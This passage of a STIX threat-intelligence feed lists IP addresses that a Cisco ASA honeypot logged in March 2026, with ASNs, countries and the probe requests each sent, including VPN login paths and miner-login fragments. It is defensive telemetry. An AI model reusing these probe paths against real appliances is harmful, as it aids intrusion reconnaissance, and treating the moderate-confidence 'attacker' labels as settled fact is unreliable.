        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-24T01:47:36.899Z",
          "last_seen": "2026-03-24T01:47:42.468Z",
          "country": "India",
          "country_code": "IN",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T03:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--a3666c4d-cbc1-4b33-826c-68dcd05de579",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T03:20:07.000Z",
      "valid_until": "2026-04-25T03:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-24T03:01:06.367Z",
          "last_seen": "2026-03-24T03:01:06.367Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--557a9973-34df-4983-a7e9-6f9a50fe8ef4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '101.249.63.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:20:13.000Z",
      "valid_until": "2026-04-25T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-24T05:00:16.201Z",
          "last_seen": "2026-03-24T05:00:19.204Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 31898 (Oracle Corporation)",
      "id": "indicator--bc5bbf24-5f58-48d5-8381-27b86a981d05",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.181.201.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:20:13.000Z",
      "valid_until": "2026-04-25T06:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-24T06:18:32.966Z",
          "last_seen": "2026-03-25T05:28:03.185Z",
          "country": "United States",
          "country_code": "US",
          "asn": 31898,
          "as_org": "Oracle Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"HEAD / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: code 400 geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--59bcdde5-88cb-44bd-a377-a39b287de6c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '128.1.132.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T08:20:07.000Z",
      "valid_until": "2026-04-25T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 12,
          "first_seen": "2026-03-24T07:38:32.644Z",
          "last_seen": "2026-03-24T07:38:40.986Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "code 400",
            "\"\"id\":1",
            "\"\"params\": [\"miner1\"",
            "\"\"method\":\"login\""
          ]
        }
      }
    },
    {
      "created": "2026-03-24T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--79ed6a42-18fe-4092-ab60-1f71bcb9f6ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T08:20:07.000Z",
      "valid_until": "2026-04-25T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-24T07:42:06.129Z",
          "last_seen": "2026-03-24T07:42:06.129Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--eb0021a8-89d3-4c28-9a16-8b739b77d44f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T08:20:07.000Z",
      "valid_until": "2026-04-25T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-24T07:42:03.112Z",
          "last_seen": "2026-03-24T07:42:03.112Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2a20bc78-6612-437f-83b5-27397222b9d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T08:20:07.000Z",
      "valid_until": "2026-04-25T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-24T07:40:15.335Z",
          "last_seen": "2026-03-24T07:40:15.335Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f086974b-d31a-429c-8a6f-946a71533e29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T08:20:07.000Z",
      "valid_until": "2026-04-25T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-24T07:41:49.009Z",
          "last_seen": "2026-03-24T07:41:49.009Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--823ba1de-f7b7-4464-9591-515a1b61f52a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.29.49.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:20:13.000Z",
      "valid_until": "2026-04-25T09:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-24T08:50:10.868Z",
          "last_seen": "2026-03-24T08:50:13.869Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T12:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--27771f54-55d7-405e-ba89-37432a83ad4a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:20:13.000Z",
      "valid_until": "2026-04-25T12:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-24T11:31:18.020Z",
          "last_seen": "2026-03-24T11:31:24.615Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T18:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--f10f2768-f5b5-449d-a0cb-9a81934c22e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '137.184.58.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T18:20:14.000Z",
      "valid_until": "2026-04-25T18:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-24T18:16:50.487Z",
          "last_seen": "2026-03-24T18:16:53.492Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T19:20:29.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: BR; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--46fb3d34-342b-40d0-aceb-c87e5ce325b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.197.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T19:20:29.000Z",
      "valid_until": "2026-04-25T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-24T19:14:52.650Z",
          "last_seen": "2026-03-24T19:15:40.051Z",
          "country": "Brazil",
          "country_code": "BR",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T19:20:29.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+webvpn+/index.html HTTP/1.1\" 200 - geo: RU; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--3226854a-af16-4473-8524-32cf67381518",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.113.235.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T19:20:29.000Z",
      "valid_until": "2026-04-25T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 896,
          "first_seen": "2026-03-24T18:59:28.805Z",
          "last_seen": "2026-03-25T21:40:04.455Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T22:20:28.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 213790 (Limited Network LTD)",
      "id": "indicator--557b410e-9e48-4b6d-9dea-0a0fd5f60e70",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:20:28.000Z",
      "valid_until": "2026-04-25T22:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-24T19:32:39.861Z",
          "last_seen": "2026-03-25T20:31:17.104Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 213790,
          "as_org": "Limited Network LTD",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /RDWeb/ HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T22:20:28.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 9465 (AGOTOZ PTE. LTD.)",
      "id": "indicator--223d229f-b153-4023-8caa-4f4a59ed5ef6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:20:28.000Z",
      "valid_until": "2026-04-25T22:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-24T21:53:19.413Z",
          "last_seen": "2026-03-24T21:53:28.270Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 9465,
          "as_org": "AGOTOZ PTE. LTD.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-25T10:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--9c2b88a2-e12d-45ea-ac63-cd12c91fb6ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:20:07.000Z",
      "valid_until": "2026-04-26T10:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-25T09:57:41.458Z",
          "last_seen": "2026-03-25T09:57:41.458Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-25T10:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f7231a6e-4718-4061-af82-a7d29afdcc7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:20:07.000Z",
      "valid_until": "2026-04-26T10:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-25T09:59:46.173Z",
          "last_seen": "2026-03-25T09:59:46.173Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-25T10:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:20:07.000Z",
      "valid_until": "2026-04-26T10:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 13,
          "first_seen": "2026-03-25T09:55:46.967Z",
          "last_seen": "2026-03-25T10:01:39.631Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-25T10:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--9e03acc9-69dc-4a21-b745-0ea9be6af68f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:20:07.000Z",
      "valid_until": "2026-04-26T10:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-25T10:00:04.990Z",
          "last_seen": "2026-03-25T10:00:04.990Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-25T10:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f07854da-10ee-4f9e-834e-e1ea1cc78d92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:20:07.000Z",
      "valid_until": "2026-04-26T10:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-25T09:59:38.809Z",
          "last_seen": "2026-03-25T09:59:38.809Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-25T10:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--d7c46fa1-d23e-4e4f-ba7e-894b889f57c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:20:07.000Z",
      "valid_until": "2026-04-26T10:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
